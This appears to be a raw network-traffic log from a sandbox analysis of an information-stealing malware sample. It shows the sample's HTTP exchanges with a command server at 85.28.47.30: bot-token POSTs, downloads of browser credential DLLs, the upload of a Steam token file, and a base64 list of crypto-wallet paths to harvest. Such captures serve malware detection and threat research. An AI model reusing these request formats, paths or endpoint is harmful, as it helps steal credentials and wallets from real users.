36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 [TRUNCATED] Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file"------ECBGCBGCAFIIECBFIDHI--
Jul 5, 2024 06:23:04.406538010 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 5, 2024 06:23:05.693372965 CEST	557	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJ Host: 85.28.47.30 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 [TRUNCATED] Data Ascii: ------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="file"------JEHDHIEGIIIDHIDHDHJJ--
Jul 5, 2024 06:23:06.286202908 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 5, 2024 06:23:06.585357904 CEST	90	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 5, 2024 06:23:06.767015934 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 5, 2024 06:23:07.458887100 CEST	90	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 5, 2024 06:23:07.643659115 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 5, 2024 06:23:08.128535032 CEST	91	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 5, 2024 06:23:08.310266018 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 5, 2024 06:23:08.631134987 CEST	87	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 5, 2024 06:23:08.814683914 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 5, 2024 06:23:10.673348904 CEST	91	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 5, 2024 06:23:10.865035057 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 5, 2024 06:23:11.165083885 CEST	95	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 5, 2024 06:23:11.356930971 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 5, 2024 06:23:11.808470964 CEST	199	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBF Host: 85.28.47.30 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 5, 2024 06:23:12.523242950 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 5, 2024 06:23:12.574500084 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFH Host: 85.28.47.30 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 2d 2d 0d 0a Data Ascii: ------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="message"wallets------BKKKEGIDBGHIDGDHDBFH--
Jul 5, 2024 06:23:12.768666983 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 5, 2024 06:23:12.771236897 CEST	463	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJJDGDHDGDAKFIECFIJ Host: 85.28.47.30 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="message"files------HIJJDGDHDGDAKFIECFIJ--
Jul 5, 2024 06:23:12.995198965 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 5, 2024 06:23:13.011833906 CEST	561	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAFBAEBKKEBFIJEBK Host: 85.28.47.30 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="file"------EGIDAFBAEBKKEBFIJEBK--
Jul 5, 2024 06:23:13.580873013 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 5, 2024 06:23:13.609138012 CEST	468	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBFHJJDAAKFIECGDB Host: 85.28.47.30 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 